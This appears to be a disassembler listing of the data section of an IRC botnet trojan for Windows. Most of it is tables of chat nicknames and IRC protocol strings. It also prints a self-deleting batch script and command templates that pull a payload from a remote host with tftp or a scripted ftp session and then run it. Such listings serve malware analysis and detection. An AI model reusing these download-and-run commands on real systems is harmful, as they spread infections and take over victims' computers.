		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
; char *off_45025C
off_45025C	dd offset aSex_1	; DATA XREF: sub_418688+41r
					; sub_418688+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB		; "b"
		dd offset aC_5		; "c"
		dd offset aD_2		; "d"
		dd offset aE_0		; "e"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_450A70	; "h"
		dd offset aI_1		; "i"
		dd offset a__11		; "_"
		dd offset aJ_1		; "j"
		dd offset aK_0		; "k"
		dd offset asc_450A84	; "l"
		dd offset aM_2		; "m"
		dd offset aN_0		; "n"
		dd offset aO_0		; "o"
		dd offset aP_0		; "p"
		dd offset aQ_0		; "q"
		dd offset aRs		; "rs"
		dd offset aT_0		; "t"
		dd offset aU_0		; "u"
		dd offset aV_0		; "v"
		dd offset aW		; "w"
		dd offset asc_450AB0	; "x"
		dd offset aY		; "y"
		dd offset aZ		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ_0		; "z"
		dd offset aG_0		; "g"
		dd offset aS_40		; "s"
		dd offset aQ_1		; "q"
		dd offset aBrb		; "BRB"
		dd offset aBbl		; "|bbl"
		dd offset dword_4F3A8C
		dd offset dword_4F3A90
		dd offset a___0		; "_|_"
		dd offset dword_4F3A94
		dd offset dword_4F3A98
		dd offset dword_4F3A9C
		dd offset dword_4F3AA0
		dd offset aF_0		; "F"
		dd offset aM_3		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_1		; "^^^f^"
		dd offset aB_0		; "b"
		dd offset dword_4F3AA4
		dd offset aSleeping	; "Sleeping"
		dd offset dword_4F3AA8
		dd offset dword_4F3AAC
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset dword_4F3AB0
		dd offset dword_4F3AB4
		dd offset asc_450B58	; "X"
		dd offset dword_4F3AB8
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset aTot_0	; "tot"
		dd offset aLol		; "lol"
		dd offset aLoloA	; "lolo|a|"
		dd offset aSex4free	; "|sex4free|"
		dd offset a4us		; "|4us|"
		dd offset a4you		; "{4you}"
		dd offset a4u		; "|4u|"
		dd offset a5u		; "5u"
		dd offset a6u		; "6u"
dword_4503F4	dd 71h			; DATA XREF: .data:off_44FF5Co
dword_4503F8	dd 77h			; DATA XREF: .data:0044FF60o
dword_4503FC	dd 65h			; DATA XREF: .data:0044FF64o
dword_450400	dd 72h			; DATA XREF: .data:0044FF68o
dword_450404	dd 74h			; DATA XREF: .data:0044FF6Co
dword_450408	dd 79h			; DATA XREF: .data:0044FF70o
dword_45040C	dd 75h			; DATA XREF: .data:0044FF74o
dword_450410	dd 69h			; DATA XREF: .data:0044FF78o
dword_450414	dd 70h			; DATA XREF: .data:0044FF7Co
dword_450418	dd 61h			; DATA XREF: .data:0044FF80o
dword_45041C	dd 73h			; DATA XREF: .data:0044FF84o
dword_450420	dd 64h			; DATA XREF: .data:0044FF88o
dword_450424	dd 66h			; DATA XREF: .data:0044FF8Co
dword_450428	dd 67h			; DATA XREF: .data:0044FF90o
dword_45042C	dd 68h			; DATA XREF: .data:0044FF94o
dword_450430	dd 6Ah			; DATA XREF: .data:0044FF98o
dword_450434	dd 6Bh			; DATA XREF: .data:0044FF9Co
dword_450438	dd 6Ch			; DATA XREF: .data:0044FFA0o
dword_45043C	dd 7Ah			; DATA XREF: .data:0044FFA4o
dword_450440	dd 78h			; DATA XREF: .data:0044FFA8o
dword_450444	dd 63h			; DATA XREF: .data:0044FFACo
dword_450448	dd 76h			; DATA XREF: .data:0044FFB0o
dword_45044C	dd 62h			; DATA XREF: .data:0044FFB4o
dword_450450	dd 6Eh			; DATA XREF: .data:0044FFB8o
dword_450454	dd 6Dh			; DATA XREF: .data:0044FFBCo
dword_450458	dd 51h			; DATA XREF: .data:0044FFC0o
dword_45045C	dd 57h			; DATA XREF: .data:0044FFC4o
dword_450460	dd 45h			; DATA XREF: .data:0044FFC8o
dword_450464	dd 52h			; DATA XREF: .data:0044FFCCo
dword_450468	dd 54h			; DATA XREF: .data:0044FFD0o
dword_45046C	dd 59h			; DATA XREF: .data:0044FFD4o
dword_450470	dd 55h			; DATA XREF: .data:0044FFD8o
dword_450474	dd 49h			; DATA XREF: .data:0044FFDCo
dword_450478	dd 4Fh			; DATA XREF: .data:0044FFE0o
dword_45047C	dd 50h			; DATA XREF: .data:0044FFE4o
dword_450480	dd 41h			; DATA XREF: .data:0044FFE8o
dword_450484	dd 53h			; DATA XREF: .data:0044FFECo
dword_450488	dd 44h			; DATA XREF: .data:0044FFF0o
dword_45048C	dd 46h			; DATA XREF: .data:0044FFF4o
dword_450490	dd 47h			; DATA XREF: .data:0044FFF8o
dword_450494	dd 48h			; DATA XREF: .data:0044FFFCo
dword_450498	dd 4Ah			; DATA XREF: .data:00450000o
dword_45049C	dd 4Bh			; DATA XREF: .data:00450004o
dword_4504A0	dd 4Ch			; DATA XREF: .data:00450008o
dword_4504A4	dd 5Ah			; DATA XREF: .data:0045000Co
dword_4504A8	dd 58h			; DATA XREF: .data:00450010o
dword_4504AC	dd 43h			; DATA XREF: .data:00450014o
dword_4504B0	dd 56h			; DATA XREF: .data:00450018o
dword_4504B4	dd 42h			; DATA XREF: .data:0045001Co
dword_4504B8	dd 4Eh			; DATA XREF: .data:00450020o
dword_4504BC	dd 4Dh			; DATA XREF: .data:00450024o
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .data:00450028o
		align 4
aFarooq		db 'farooq',0           ; DATA XREF: .data:0045002Co
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .data:00450030o
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .data:00450034o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .data:00450038o
		align 10h
aKrizha		db 'KRIZHA',0           ; DATA XREF: .data:0045003Co
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .data:00450040o
aSwin		db 'swin',0             ; DATA XREF: .data:00450044o
		align 4
aMale		db 'male',0             ; DATA XREF: .data:00450048o
		align 10h
aKoko		db 'koko',0             ; DATA XREF: .data:0045004Co
		align 4
aFlexster	db 'flexster',0         ; DATA XREF: .data:00450050o
		align 4
aKen		db 'ken',0              ; DATA XREF: .data:00450054o
aShez		db 'Shez',0             ; DATA XREF: .data:00450058o
		align 10h
aTalika		db 'talika',0           ; DATA XREF: .data:0045005Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .data:00450060o
		align 10h
aCme		db 'cme',0              ; DATA XREF: .data:00450064o
aHeval		db 'heval',0            ; DATA XREF: .data:00450068o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .data:0045006Co
		align 4
aJanno		db 'janno',0            ; DATA XREF: .data:00450070o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .data:00450074o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .data:00450078o
		align 10h
aLuisa		db 'Luisa',0            ; DATA XREF: .data:0045007Co
		align 4
aTroller	db 'troller',0          ; DATA XREF: .data:00450080o
aManee		db 'manee',0            ; DATA XREF: .data:00450084o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .data:00450088o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: .data:0045008Co
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .data:00450090o
		align 4
aImra		db 'imra',0             ; DATA XREF: .data:00450094o
		align 10h
aGirl		db 'GirL',0             ; DATA XREF: .data:00450098o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .data:0045009Co
		align 10h
aReshma		db 'reshma',0           ; DATA XREF: .data:004500A0o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .data:004500A4o
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .data:004500A8o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .data:004500ACo
		align 4
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .data:004500B0o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .data:004500B4o
aHexaaa		db 'hexaaa',0           ; DATA XREF: .data:004500B8o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .data:004500BCo
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .data:004500C0o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .data:004500C4o
		align 4
aMisssunday	db 'misssunday',0       ; DATA XREF: .data:004500C8o
		align 10h
aTolga34	db 'Tolga34',0          ; DATA XREF: .data:004500CCo
aJericho	db 'JERICHO',0          ; DATA XREF: .data:004500D0o
aMary_0		db 'MARY',0             ; DATA XREF: .data:004500D4o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .data:004500D8o
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: .data:004500DCo
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .data:004500E0o
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .data:004500E4o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .data:004500E8o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .data:004500ECo
		align 10h
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .data:004500F0o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .data:004500F4o
aArzu		db 'ARZU',0             ; DATA XREF: .data:004500F8o
		align 4
aHaticem	db 'haticem',0          ; DATA XREF: .data:004500FCo
aErnesto	db 'ERNESTO',0          ; DATA XREF: .data:00450100o
aAslii		db 'aslii',0            ; DATA XREF: .data:00450104o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .data:00450108o
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .data:0045010Co
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .data:00450110o
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .data:00450114o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .data:00450118o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .data:0045011Co
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: .data:00450120o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .data:00450124o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: .data:00450128o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .data:0045012Co
		align 4
aAlbina		db 'albina',0           ; DATA XREF: .data:00450130o
		align 4
aAyla		db 'AYLA-',0            ; DATA XREF: .data:00450134o
		align 4
off_450724	dd offset byte_457441	; DATA XREF: .data:00450138o
aAnkh		db 'ankh',0             ; DATA XREF: .data:0045013Co
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .data:00450140o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .data:00450144o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .data:00450148o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .data:0045014Co
		align 4
aDenizlim	db 'DenizliM',0         ; DATA XREF: .data:00450150o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .data:00450154o
aDevran		db 'devran',0           ; DATA XREF: .data:00450158o
		align 4
aArda		db 'arda',0             ; DATA XREF: .data:0045015Co
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .data:00450160o
aMurat34M	db 'murat34-m',0        ; DATA XREF: .data:00450164o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .data:00450168o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .data:0045016Co
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .data:00450170o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .data:00450174o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .data:00450178o
		align 4
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .data:0045017Co
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .data:00450180o
aFlord		db 'FLoRD',0            ; DATA XREF: .data:00450184o
		align 4
aHoly		db 'holy',0             ; DATA XREF: .data:00450188o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .data:0045018Co
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .data:00450190o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .data:00450194o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .data:00450198o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .data:0045019Co
		align 4
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .data:004501A0o
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: .data:004501A4o
aKumul		db 'kumul',0            ; DATA XREF: .data:004501A8o
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: .data:004501ACo
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .data:004501B0o
		align 10h
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .data:004501B4o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .data:004501B8o
aAnkar		db 'Ankar',0            ; DATA XREF: .data:004501BCo
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .data:004501C0o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .data:004501C4o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .data:004501C8o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .data:004501CCo
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .data:004501D0o
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: .data:004501D4o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .data:004501D8o
		align 10h
aSevda		db 'sevda',0            ; DATA XREF: .data:004501DCo
		align 4
off_4508B8	dd offset byte_4B5245	; DATA XREF: .data:004501E0o
aAlcatras	db 'alcatras',0         ; DATA XREF: .data:004501E4o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .data:004501E8o
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: .data:004501ECo
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .data:004501F0o
		align 10h
aDevre		db 'devre',0            ; DATA XREF: .data:004501F4o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .data:004501F8o
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: .data:004501FCo
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .data:00450200o
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .data:00450204o
		align 4
aM41ist		db 'M41IST',0           ; DATA XREF: .data:00450208o
		align 4
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .data:0045020Co
aFirtina	db 'firtina',0          ; DATA XREF: .data:00450210o
aAta29		db 'Ata29',0            ; DATA XREF: .data:00450214o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .data:00450218o
		align 4
aAkden		db 'akden',0            ; DATA XREF: .data:0045021Co
		align 4
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .data:00450220o
aUla		db 'ula',0              ; DATA XREF: .data:00450224o
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .data:00450228o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .data:0045022Co
		align 10h
aTropikal	db 'tropikal',0         ; DATA XREF: .data:00450230o
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .data:00450234o
aCem39		db 'cem39',0            ; DATA XREF: .data:00450238o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .data:0045023Co
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .data:00450240o
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .data:00450244o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .data:00450248o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .data:0045024Co
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .data:00450250o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .data:00450254o
		align 4
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .data:00450258o
		align 4
aSex_1		db 'sex',0              ; DATA XREF: .data:off_45025Co
aLez		db 'lez',0              ; DATA XREF: .data:00450260o
aZex		db 'zex',0              ; DATA XREF: .data:00450264o
aTree		db 'tree',0             ; DATA XREF: .data:00450268o
		align 4
aBad		db 'bad',0              ; DATA XREF: .data:0045026Co
aLag		db 'lag',0              ; DATA XREF: .data:00450270o
aTambe		db '|tambe|',0          ; DATA XREF: .data:00450274o
aWoh		db '|woh|',0            ; DATA XREF: .data:00450278o
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: .data:0045027Co
		align 4
aSuck		db '|suck|',0           ; DATA XREF: .data:00450280o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: .data:00450284o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .data:00450288o
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: .data:0045028Co
		align 4
aGens		db '{gens|',0           ; DATA XREF: .data:00450290o
		align 10h
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .data:00450294o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: .data:00450298o
aSick		db 'sick}}',0           ; DATA XREF: .data:0045029Co
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .data:004502A0o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: .data:004502A4o
		align 4
aB:					; DATA XREF: .data:004502A8o
		unicode	0, <b>,0
aC_5:					; DATA XREF: .data:004502ACo
		unicode	0, <c>,0
aD_2:					; DATA XREF: .data:004502B0o
		unicode	0, <d>,0
aE_0:					; DATA XREF: .data:004502B4o
		unicode	0, <e>,0
aF:					; DATA XREF: .data:004502B8o
		unicode	0, <f>,0
aG:					; DATA XREF: .data:004502BCo
		unicode	0, <g>,0
asc_450A70:				; DATA XREF: .data:004502C0o
		unicode	0, <h>,0
aI_1:					; DATA XREF: .data:004502C4o
		unicode	0, <i>,0
a__11:					; DATA XREF: .data:004502C8o
		unicode	0, <_>,0
aJ_1:					; DATA XREF: .data:004502CCo
		unicode	0, <j>,0
aK_0:					; DATA XREF: .data:004502D0o
		unicode	0, <k>,0
asc_450A84:				; DATA XREF: .data:004502D4o
		unicode	0, <l>,0
aM_2:					; DATA XREF: .data:004502D8o
		unicode	0, <m>,0
aN_0:					; DATA XREF: .data:004502DCo
		unicode	0, <n>,0
aO_0:					; DATA XREF: .data:004502E0o
		unicode	0, <o>,0
aP_0:					; DATA XREF: .data:004502E4o
		unicode	0, <p>,0
aQ_0:					; DATA XREF: .data:004502E8o
		unicode	0, <q>,0
aRs		db 'rs',0               ; DATA XREF: .data:004502ECo
		align 10h
aT_0:					; DATA XREF: .data:004502F0o
		unicode	0, <t>,0
aU_0:					; DATA XREF: .data:004502F4o
		unicode	0, <u>,0
aV_0:					; DATA XREF: .data:004502F8o
		unicode	0, <v>,0
aW:					; DATA XREF: .data:004502FCo
		unicode	0, <w>,0
asc_450AB0:				; DATA XREF: .data:00450300o
		unicode	0, <x>,0
aY:					; DATA XREF: .data:00450304o
		unicode	0, <y>,0
aZ:					; DATA XREF: .data:00450308o
		unicode	0, <z>,0
aHappy		db 'happy',0            ; DATA XREF: .data:0045030Co
		align 4
aRg		db 'rg',0               ; DATA XREF: .data:00450310o
		align 4
aTy		db 'ty',0               ; DATA XREF: .data:00450314o
		align 4
aGf		db 'gf',0               ; DATA XREF: .data:00450318o
		align 10h
aRt		db 'rt',0               ; DATA XREF: .data:0045031Co
		align 4
aSdf		db 'sdf',0              ; DATA XREF: .data:00450320o
aUi		db 'ui',0               ; DATA XREF: .data:00450324o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .data:00450328o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .data:0045032Co
		align 4
aTruck		db 'truck',0            ; DATA XREF: .data:00450330o
		align 4
aMuckc		db 'muckc',0            ; DATA XREF: .data:00450334o
		align 4
aZ_0:					; DATA XREF: .data:00450338o
		unicode	0, <z>,0
aG_0:					; DATA XREF: .data:0045033Co
		unicode	0, <g>,0
aS_40:					; DATA XREF: .data:00450340o
		unicode	0, <s>,0
aQ_1:					; DATA XREF: .data:00450344o
		unicode	0, <q>,0
aBrb		db 'BRB',0              ; DATA XREF: .data:00450348o
aBbl		db '|bbl',0             ; DATA XREF: .data:0045034Co
		align 4
a___0		db '_|_',0              ; DATA XREF: .data:00450358o
aF_0:					; DATA XREF: .data:0045036Co
		unicode	0, <F>,0
aM_3:					; DATA XREF: .data:00450370o
		unicode	0, <M>,0
aLuvu		db 'LUVU',0             ; DATA XREF: .data:00450374o
		align 4
aSad		db 'Sad',0              ; DATA XREF: .data:00450378o
aF_1		db '^^^f^',0            ; DATA XREF: .data:0045037Co
		align 4
aB_0:					; DATA XREF: .data:00450380o
		unicode	0, <b>,0
aSleeping	db 'Sleeping',0         ; DATA XREF: .data:00450388o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .data:00450394o
		align 10h
aFree_0		db 'Free',0             ; DATA XREF: .data:00450398o
		align 4
asc_450B58:				; DATA XREF: .data:004503A4o
		unicode	0, <X>,0
aBoy		db 'BOY',0              ; DATA XREF: .data:004503ACo
aGirl_0		db 'GIRL',0             ; DATA XREF: .data:004503B0o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .data:004503B4o
		align 10h
aShit		db 'shit',0             ; DATA XREF: .data:004503B8o
		align 4
aAha		db 'aha',0              ; DATA XREF: .data:004503BCo
aYeah		db 'yeah',0             ; DATA XREF: .data:004503C0o
		align 4
aMuha		db 'muha',0             ; DATA XREF: .data:004503C4o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .data:004503C8o
		align 4
aMofo		db 'mofo',0             ; DATA XREF: .data:004503CCo
		align 4
aTot_0		db 'tot',0              ; DATA XREF: .data:004503D0o
aLol		db 'lol',0              ; DATA XREF: .data:004503D4o
aLoloA		db 'lolo|a|',0          ; DATA XREF: .data:004503D8o
aSex4free	db '|sex4free|',0       ; DATA XREF: .data:004503DCo
		align 4
a4us		db '|4us|',0            ; DATA XREF: .data:004503E0o
		align 10h
a4you		db '{4you}',0           ; DATA XREF: .data:004503E4o
		align 4
a4u		db '|4u|',0             ; DATA XREF: .data:004503E8o
		align 10h
a5u		db '5u',0               ; DATA XREF: .data:004503ECo
		align 4
a6u		db '6u',0               ; DATA XREF: .data:004503F0o
		align 4
; char asc_450BD8[]
asc_450BD8	db 0Ah,0		; DATA XREF: sub_418331+6o
		align 4
; char asc_450BDC[]
asc_450BDC	db ' ',0                ; DATA XREF: sub_418378+Co
		align 10h
; char asc_450BE0[]
asc_450BE0	db ' ',0                ; DATA XREF: sub_418378:loc_41839Eo
		align 4
; char aPing_1[]
aPing_1		db 'PING',0             ; DATA XREF: sub_418378+52o
		align 4
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_418378+63o
		align 4
; char a433[]
a433		db '433',0              ; DATA XREF: sub_418378:loc_4183E2o
; char a432[]
a432		db '432',0              ; DATA XREF: sub_418378+7Bo
; char aNickS_9[]
aNickS_9	db 'NICK %s',0Ah,0      ; DATA XREF: sub_418378+B3o
		align 4
; char aNickSUserSHotm[]
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_418465+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
; char a__3[]
a__3		db '-|`_\{[]}',0        ; DATA XREF: sub_418688+BCo
					; sub_418688+175r ...
		align 4
dword_450C48	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .text:00418B75o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_450C94	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	.text:00418BB4o
dword_450CB0	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: .text:00418BE9o
dword_450CC4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: .text:00418C10o
; char aSErrorSD_[]
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418E9D+72o
		align 4
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_418F62+5o
		align 4
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_418F62+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418FE7+1Co
		align 4
aSS_11		db '%s %s',0            ; DATA XREF: .text:004190D0o
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41910C+2o
; char aSdel_bat[]
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41912E+48o
		align 4
; char a[]
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41912E+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
; char aComspecCSS[]
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41912E+140o
		align 10h
; char asc_450D90[]
asc_450D90	db '-'                  ; DATA XREF: sub_4192B6+5Co
		db 3, 34h, 2
		dd 2676F6Ch, 25202D03h,	6F6C2073h, 6C632067h, 65726165h
		dd 64h
unk_450DAC	db  2Dh	; -		; DATA XREF: sub_4192B6+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
; char asc_450DD4[]
asc_450DD4	db '-'                  ; DATA XREF: sub_4192B6+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .text:00419416o
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: .text:0041943Fo
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: sub_4194A9+58o
		align 4
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4194A9+65o
		align 10h
off_450EA0	dd offset dword_450EF4	; DATA XREF: sub_4195C6+60r
					; sub_41999D+51r ...
off_450EA4	dd offset aAdded	; DATA XREF: sub_4195C6+2Dr
					; sub_41999D+83r ...
					; "Added"
dword_450EA8	dd 0			; DATA XREF: sub_4195C6+18r
		dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1
		dd offset aPause_0	; "Pause"
		dd offset aPaused_0	; "Paused"
		dd 2
		dd offset aContinue_0	; "Continue"
		dd offset aContinued	; "Continued"
		dd 3
dword_450EF4	dd 646441h		; DATA XREF: .data:off_450EA0o
aAdded		db 'Added',0            ; DATA XREF: .data:off_450EA4o
		align 10h
aDelete_1	db 'Delete',0           ; DATA XREF: .data:00450EACo
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:00450EB0o
aList_1		db 'List',0             ; DATA XREF: .data:00450EB8o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:00450EBCo
		align 10h
aStart_0	db 'Start',0            ; DATA XREF: .data:00450EC4o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:00450EC8o
